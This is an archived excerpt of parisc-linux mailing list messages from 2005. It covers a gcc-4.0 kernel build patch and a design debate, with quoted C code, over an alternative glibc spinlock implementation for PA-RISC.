18:12:25.000000000 +0200
@@ -1,8 +1,5 @@
 # Makefile for the Linux device tree
 
-# Being anal sometimes saves a crash/reboot cycle... ;-)
-EXTRA_CFLAGS    :=3D -Werror
-
 obj-$(CONFIG_EISA)             +=3D eisa-bus.o
 obj-${CONFIG_EISA_PCI_EISA}     +=3D pci_eisa.o
 
diff -NaurX dontdiff linux-2.6.10-pa10-20050112/include/linux/fb.h linux-=
2.6.10-pa10-20050112-gcc40/include/linux/fb.h
--- linux-2.6.10-pa10-20050112/include/linux/fb.h       2004-11-30 07:45:=
36.000000000
+0100
+++ linux-2.6.10-pa10-20050112-gcc40/include/linux/fb.h 2005-07-01 18:38:=
07.000000000
+0200
@@ -857,7 +857,6 @@
 
 /* drivers/video/modedb.c */
 #define VESA_MODEDB_SIZE 34
-extern const struct fb_videomode vesa_modes[];
 extern void fb_var_to_videomode(struct fb_videomode *mode,
                                struct fb_var_screeninfo *var);
 extern void fb_videomode_to_var(struct fb_var_screeninfo *var,
@@ -902,6 +901,8 @@
        u32 flag;
 };
 
+extern const struct fb_videomode vesa_modes[];
+
 struct fb_modelist {
        struct list_head list;
        struct fb_videomode mode;
=3D=3D=3D=3D<>=3D=3D=3D=3D

And eventualy:
diff -NaurX dontdiff linux-2.6.10-pa10-20050112/Makefile linux-2.6.10-pa1=
0-20050112-gcc40/Makefile
--- linux-2.6.10-pa10-20050112/Makefile 2005-01-10 12:00:43.000000000 +01=
00
+++ linux-2.6.10-pa10-20050112-gcc40/Makefile   2005-07-01 17:29:16.00000=
0000
+0200
@@ -201,7 +201,7 @@
          else if [ -x /bin/bash ]; then echo /bin/bash; \
          else echo sh; fi ; fi)
 
-HOSTCC         =3D gcc
+HOSTCC         =3D gcc-4.0
 HOSTCXX        =3D g++
 HOSTCFLAGS     =3D -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer
 HOSTCXXFLAGS   =3D -O2
@@ -318,7 +318,7 @@
 
 AS             =3D $(CROSS_COMPILE)as
 LD             =3D $(CROSS_COMPILE)ld
-CC             =3D $(CROSS_COMPILE)gcc
+CC             =3D $(CROSS_COMPILE)gcc-4.0
 CPP            =3D $(CC) -E
 AR             =3D $(CROSS_COMPILE)ar
 NM             =3D $(CROSS_COMPILE)nm
=3D=3D=3D=3D<>=3D=3D=3D=3D

Still have to find back what should still have to be backported (as kyle
did for 2.6.8) for b2k ;-)

> Just a note, a patch to fix the function pointer canonicalization
> issue that you and others noticed was installed Friday to the 4.0 branc=
h,
> and Saturday to the GCC head.
> 
Thanks for feedback (I will try it asap),

    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Alternative implementation of glibc spinlocks
Date: Mon, 4 Jul 2005 10:54:21 -0400
Lines: 170
Approved: news@gmane.org
Message-ID: <20050704145417.GE5269@systemhalted.org>
References: <20050702135938.GV19114@tausq.org>
	<20050704010044.GA5269@systemhalted.org> <42C897F2.80307@tausq.org>
	<20050704041453.GC5269@systemhalted.org>
	<42C8CDCC.7060308@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623832 15478 80.91.229.3 (22 Nov 2014 02:37:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jul 2005 14:54:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 04 Jul 2005 16:54:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 02A467D6EE;
	Mon,  4 Jul 2005 08:54:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29888-08; Mon, 4 Jul 2005 08:54:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA8EA7D6E0;
	Mon,  4 Jul 2005 08:54:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 23BD47D6A2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Jul 2005 08:54:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29761-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Jul 2005 08:54:39 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 6B7397D6A1
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Jul 2005 08:54:39 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DpSL0-0008JZ-00; Mon, 04 Jul 2005 10:54:22 -0400
Content-Disposition: inline
In-Reply-To: <42C8CDCC.7060308@tausq.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (31% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6Ci7Yt4teSEkMr6WZHQhaXN1IGRvb8D1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22866

On Mon, Jul 04, 2005 at 01:49:00PM +0800, Randolph Chung wrote:
> > Copying a lock creates a new lock with the same status as the old lock.
> > I don't think it's that flawed, it's the same idea as copying a
> > structure with a lock inside. You don't need an explicit copy operator,
> > it should just work (tm).
> 
> If a currently locked lock is copied, is it still locked? If another
> thread copies a locked lock, can it now enter a critical section? Does
> the copied lock refer to the same lock object or a different one?

If the lock is locked when copied, the copy is locked.

Wether or not the thread can enter the critical section is dependant
upon the programmer. The programmer would have to ensure the lock copy
was atomic by protecting the structure. Then it could point the two
threads at the new copy, and delete the old copy.

A lock is a lock. It doesn't refer to anything unless you the programmer
give it some meaning.

The copy of the lock *can* have a different lock cookie, if that's what
you're asking? It just has to have the same status :)

If you serliaze two locks with the same cookie, the rematerialized locks
IMO *can* be allowed to have different cookies.

> > - A lock that was serliazed may actually coincide with a lock already in
> >   the system. The code can't tell which is which. Unless we use another
> >   level of indirection.
> 
> I don't see how you can fix this even with indirection?

You're right, we can't. After 2^32 locks are initialized the value
wraps. That's a fundamental problem with reusing the lock storage. If
the lock were to be serialized with the object it could uses the object
namespace as a level of indirection. Providing our own level of
indirection with a single data word is difficult. It gets better with
two words... even better with three words... but where will our
performance go?

If we add a level of indirection we insert a lookup requirement. The
lookup needs to determine if it has to materialize a lock, index load
the lock from the table, which might be on a faraway page (requiring
more searching), and our performance is shot.

We could get a full 32-bit address space if we used a space register to
store the locks into a different space? The space could also be shared
with other processes in the same way shared libraries would have been
implemented using space register?

It still doesn't solve our lock rematerializing issue. I think the issue
will never go away if we have to provide our own lock cookie namespace 
management.

> > It seems to me that it should be perfectly legal for two threads,
> > working on a datastructure, to be able to serialize that data to disk,
> > read it back and continue working in a synchronized fashion without the
> > locks going haywire.
> 
> You can serialize the data, but to serialize a lock seems to be
> questionable. I remain unconvinced that real life programs rely on this
> behavior, but I'm willing to be shown an example :)

A threaded lisp interpreter writes a running image to disk, only a
partial write and not the entire address space. It expects to reload
this from disk and start a thread up at the same place. If it has lock
aliasing other threads might collide with the loaded lock cookie.

What about gnome's object managment system? Surely it's threaded at some
level, and it requires that objects have locks for their thread critical
data. Perhaps you want to lock an objects data, and push it across the
network. The remote system only has serialized state information and
would need to rematerialize a lock on a different host :)

I think having the lock data with the lock is the only reasonable
solution.

> >>I suppose we could use an extension of the above trick. If a lock is
> >>initialized shared (by setting pshared=true in pthread_spin_init), the
> >>cookie will have a bit to indicate this, and the lock memory is
> >>initialized in a shared memory segment with a well known name. If
> >>another process comes along and gets ahold of such a lock, it would then
> >>attach to the shared memory segment and then get access to the same lock
> >>object in memory.
> > I like this idea!
> > Though I don't like my personal idea of forcing an equal mapping at a
> > high address. Instead I think a table for indirection would work.
> 
> Yes. Forcing a fixed mapping seems to be fragile.

That's why I liked your idea of shm_open better.

> > When I feel the weight of a possibly complex implementation getting me
> > down, I think over a single question:
> > 
> > "What problem are we trying to solve?"
> > 
> > - The core glibc maintainers don't care about odd-ball arches?
> > - Uninitialized locks are trouble?
> > - "Locks are int" is not true?
> > 
> > The last two, make it easier to get past the first problem :)
> 
> Well, ultimately I hope we would decide on whether or not to do this
> based on technical merit rather than the politics of glibc maintainence.
> Is it more natural to deal with an implementation that uses scalar lock
> objects? Can it really work efficiently? Can we ensure compliance with
> the appropriate standards?

Politics is a part of life, and removing it from the equation means you
are missing important information when making a decision.

I don't know what "more natural" means in this case. It's not a
measurable quantity. A the POSIX pthread interface it's already a
structure, so what difference does it make, the internals are opaque.

A deferred dynamically allocated lock system faces cookie namespace
problems.

Compliance with the standards is important, but second to a robust and
working implementation under minimum defined criteria.

Let me run a thought an experiment, let me construct the most idiotic
implementation of "scalar lock" that comes to mind...

Implementation of Scalar Locks (Take 1)
=======================================

a. glibc has a single aligned master lock.
b. Every thread uses a scalar for a lock.
c. The pthread functions do the following:
	- If the sig_atomic_t lock != 0
          Use LWS CAS to take the lock [1]
          = Done.
	- Block signals.
	- Increment the sig_atomic_t lock.
	- Acquire a master lock.
	- Twiddle a bit in the scalar lock.
	- Unlock a master lock.
	- Decrement the sig_atomic_t lock.
	- Unblock signals.

Cons:
= Signal handling latency goes up when doing lots of locking.
= A kill signal while taking the lock requires a fallback to
  the kernel for protection against concurrent accesses.

Pros:
= Simple scalar locks.
= The master locks can be extended to N master locks
  whose selection is based on a hash of the address
  of the scalar lock, improving SMP performance.
= No lock cookie namespace management.
= Locks can be copied.
= Locks can be serialized.

[1] This is because we took a signal in the critical section
of the locking code, and we need the kernel to arbitrate the lock
access.

Actually, this sorta worked out nice. What do you think?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Alternative implementation of glibc spinlocks
Date: Mon, 4 Jul 2005 11:35:00 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <200507041535.j64FZ0fY021477@hiauly1.hia.nrc.ca>
References: <20050704145417.GE5269@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623832 15480 80.91.229.3 (22 Nov 2014 02:37:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jul 2005 15:35:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 04 Jul 2005 17:35:10 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A75D7D611;
	Mon,  4 Jul 2005 09:35:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30130-07; Mon, 4 Jul 2005 09:35:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2AF5C7D633;
	Mon,  4 Jul 2005 09:35:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BDEC47D6EE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Jul 2005 09:35:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30130-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Jul 2005 09:35:02 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 2C3CE7D6ED
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Jul 2005 09:35:02 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j64FZ0nV021479; Mon, 4 Jul 2005 11:35:01 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j64FZ0fY021477;
	Mon, 4 Jul 2005 11:35:00 -0400 (EDT)
In-Reply-To: <20050704145417.GE5269@systemhalted.org> from "Carlos O'Donell"
	at Jul 4, 2005 10:54:21 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eDK7YthyeSEkO76WZHQhaXN1IGRvbwD0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22867

> On Mon, Jul 04, 2005 at 01:49:00PM +0800, Randolph Chung wrote:
> > > Copying a lock creates a new lock with the same status as the old lock.
> > > I don't think it's that flawed, it's the same idea as copying a
> > > structure with a lock inside. You don't need an explicit copy operator,
> > > it should just work (tm).
> > 
> > If a currently locked lock is copied, is it still locked? If another
> > thread copies a locked lock, can it now enter a critical section? Does
> > the copied lock refer to the same lock object or a different one?
> 
> If the lock is locked when copied, the copy is locked.
> 
> Wether or not the thread can enter the critical section is dependant
> upon the programmer. The programmer would have to ensure the lock copy
> was atomic by protecting the structure. Then it could point the two
> threads at the new copy, and delete the old copy.

Seems like a recipe for disaster.  How do you ensure that each thread
actually is using the new copy?  It seems to me that this requires another
layer of locking around each lock.  All operations on the lock would have
to be done inside the outer lock.  This increases the possibility of
deadlock and the overhead in acquiring and releasing a lock.  Then,
you are going to tell me that you want the capability to move the outer
protection lock...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Alternative implementation of glibc spinlocks
Date: Sun, 3 Jul 2005 21:00:48 -0400
Lines: 330
Approved: news@gmane.org
Message-ID: <20050704010044.GA5269@systemhalted.org>
References: <20050702135938.GV19114@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623832 15481 80.91.229.3 (22 Nov 2014 02:37:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jul 2005 01:01:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 04 Jul 2005 03:01:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B8B37D6E0;
	Sun,  3 Jul 2005 19:01:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25017-07; Sun, 3 Jul 2005 19:01:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A9237D6C4;
	Sun,  3 Jul 2005 19:01:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0701C7D6BE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jul 2005 19:01:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24502-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jul 2005 19:01:03 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 45FEF7D6B9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jul 2005 19:01:03 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DpFKL-0001Nf-00; Sun, 03 Jul 2005 21:00:49 -0400
Content-Disposition: inline
In-Reply-To: <20050702135938.GV19114@tausq.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (31% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Du+6YrgkeSEkWL6WZHQhaXN1IGRvb0AC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22868

On Sat, Jul 02, 2005 at 06:59:39AM -0700, Randolph Chung wrote:
> 1) We are moving more compile-time work to run-time; requires memory
>    allocation at run-time, potentially slow.
> 2) The pthread interface allows spinlock locking to fail, and this
>    code may fail a locking operation if memory cannot be allocated,
>    but most code probably don't handle this case and may deadlock
>    or function incorrectly.
> 3) The code is not 64-bit clean, although that can be fixed if needed
>    by making the lock cookie an index.

Randolph,

This is awesome! This is taking the deferred ideas to the extreme! :)
I like the idea, but I don't think it will bake (See my comments about
lock serializing, and shared memory).
 
> There are probably other problems. I *think* this code still works with
> locks in shared memory, but I may be missing some cases.
> 
> Comments?

What about?

a) Lock serializing (essentially lock copying)
b) Lock copying with differing destination alignment.

Our current implementation only supports copying a lock to a destination
that has the same alignment. In reality this is virtually 100% of all the
cases.

Our current implementation also supports serializing the lock to disk
and reading it back again. I've seen some gnome code do weird things
with object state serialization, mind you the lock has a level of
indirection and the addresses are fixed up, in this case though that
sort of thing wouldn't work.

The cookie implementation trivially solves b), but a) is harder.

I believe that compiling and running gnome is the best test of lock
serializing and copying. There is probably a number of libstdc++ test
cases that can test this as well? Dave would know better there.
 
> randolph
> -- 
> Randolph Chung
> Debian GNU/Linux Developer, hppa/ia64 ports
> http://www.tausq.org/
> 
> 
> #include <stdio.h>
> #include <string.h>
> #include <sys/mman.h>
> #include <assert.h>
> #include <errno.h>
> 
> typedef int lock_t;
> 
> /* Exported interface */
> int spin_init(lock_t *lock);
> int spin_destroy(lock_t *lock);
> int spin_lock(lock_t *lock);
> int spin_unlock(lock_t *lock);
> int spin_trylock(lock_t *lock);
> int spin_is_locked(lock_t *lock);
> 
> /* Implementation */
> 
> /* The idea of this implementation is that each lock_t points to
>  * a dynamically allocated, properly aligned lock.
>  *
>  * We manage these dynamically aligned locks as pages of locks. Each
>  * lock page contains a header that contains a simple freelist of
>  * lock objects.
>  */
> 
> #define PAGESIZE 4096
> 
> struct lock_page;
> 
> /* An internal lock is a 16-byte structure that is allocated aligned
>  * to a 16-byte boundary. The first word of the lock structure is
>  * actually used to do ldcw. The other fields can be used for other
>  * accounting purposes.
>  */
> struct internal_lock {
> 	int lockword;
> 	struct lock_page *page;
> 	short next;
> 	short pad1;
> 	int pad2;
> };
> 
> /* Locks are allocated in pages; each page contains this header. */
> struct lock_page_hdr {
> 	struct lock_page *next; /* Chain together allocated pages */
> 	short freelist; /* First available lock index in this page */
> 	/* Pad to 16-bytes, not really needed, but just to make
> 	 * it explicit.
> 	 */
> 	unsigned short pad1[3];
> 	int pad2;
> };
> 
> #define LOCKS_PER_PAGE ((PAGESIZE - sizeof(struct lock_page_hdr))/sizeof(struct internal_lock))
> 
> struct lock_page {
> 	struct lock_page_hdr hdr;
> 	struct internal_lock locks[LOCKS_PER_PAGE];
> };
> 
> /* Internal data */
> static struct internal_lock __lock __attribute__((aligned(16))) = { 1, 0, 0, 0, 0 };
> static struct lock_page *__lock_pages;
> 
> static int
> __ldcw(void *a)
> {
> 	int ret;
> 	__asm__ __volatile__("ldcw 0(%1),%0" : "=r" (ret) : "r" (a));
> 	return ret;
> }
> 
> static void
> __raw_spin_lock(struct internal_lock *l)
> {
> 	while (__ldcw(&l->lockword))
> 		while (l->lockword == 0)
> 			/* spin */ ;
> }
> 
> static void
> __raw_spin_unlock(struct internal_lock *l)
> {
> 	l->lockword = 0;
> }

If __raw_spin_unlock is inlined in the same function with
__raw_spin_lock, we may need to force a memory barrier to keep the
ordering correct?
 
> static lock_t
> __allocate_lock(void)
> {
> 	struct lock_page *p;
> 	short target;
> 
> 	__raw_spin_lock(&__lock);
> 	for (p = __lock_pages; p != NULL; p = p->hdr.next)
> 		if (p->hdr.freelist >= 0)
> 			break;
> 
> 	if (p == NULL) {
> 		void *m;
> 		int i;
> 		struct internal_lock *l;
> 
> 		m = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED, -1, 0);

I guess if this replaced the linuxthreads, or nptl implementation we can
assume that mmap is available and we are already relocated.


> 		if (m == MAP_FAILED) {
> 			__raw_spin_unlock(&__lock);
> 			return ENOMEM;
> 		}
> 		p = (struct lock_page *)m;
> 		p->hdr.freelist = 0;
> 
> 		/* Initialize lock linked list */
> 		for (i = 0; i < LOCKS_PER_PAGE; i++) {
> 			l = &p->locks[i];
> 			l->lockword = 1;
> 			l->page = p;
> 			l->next = i + 1;
> 		}
> 		l->next = -1;
> 
> 		p->hdr.next = __lock_pages;
> 		__lock_pages = p;
> 	}
> 
> 	assert(p && p->hdr.freelist >= 0);
> 
> 	target = p->hdr.freelist;
> 	p->hdr.freelist = p->locks[target].next;
> 	p->locks[target].next = -1;
> 	
> 	__raw_spin_unlock(&__lock);
> 
> 	return (int)&p->locks[target];
> }
>
> static int
> __free_lock(lock_t lock)
> {
> 	struct lock_page *p;
> 	struct internal_lock *l;
> 
> 	__raw_spin_lock(&__lock);
> 	l = (struct internal_lock *)lock;
> 	p = l->page;
> 
> 	l->next = p->hdr.freelist;
> 	p->hdr.freelist = l - &p->locks[0];
> 	__raw_spin_unlock(&__lock);
> 
> 	return 0;
> }
> 
> static struct internal_lock *
> __find_lock(lock_t lock)
> {
> 	return (struct internal_lock *)lock;
> }

Why this level of indirection? Have you thought about other indexing
methods other than the address of the lock?
 
> int spin_init(lock_t *lock)
> {
> 	*lock = __allocate_lock();
> 	if (*lock == 0)
> 		return ENOMEM;
> 	return 0;
> }
> 
> int spin_destroy(lock_t *lock)
> {
> 	if (*lock)
> 		return __free_lock(*lock);
> 	return 0;
> }
> 
> int spin_lock(lock_t *lock)
> {
> 	struct internal_lock *l;
> 
> 	/* lazy lock init */
> 	if (*lock == 0) {
> 		if (spin_init(lock) != 0)
> 			return EINVAL;
> 	}
> 
> 	l = __find_lock(*lock);
> 	if (!l)
> 		return EINVAL;
> 
> 	__raw_spin_lock(l);
> 	return 0;
> }
> 
> int spin_unlock(lock_t *lock)
> {
> 	struct internal_lock *l;
> 
> 	/* Assume unallocated locks are unlocked */
> 	if (*lock == 0)
> 		return 0;
> 
> 	l = __find_lock(*lock);
> 	if (!l) 
> 		return EINVAL;
> 
> 	__raw_spin_unlock(l);
> 	return 0;
> }
> 
> int spin_trylock(lock_t *lock)
> {
> 	struct internal_lock *l;
> 
> 	/* lazy lock init */
> 	if (*lock == 0) {
> 		if (spin_init(lock) != 0)
> 			return EINVAL;
> 	}
> 

See my comment below that we need a check for a lock in the initialized
state that has a "locked" state.

We need a check for:

if (*lock == 1) 
  {
    /* Initialize lock held */
  }

> 	l = __find_lock(*lock);
> 	if (!l)
> 		return EINVAL;
> 
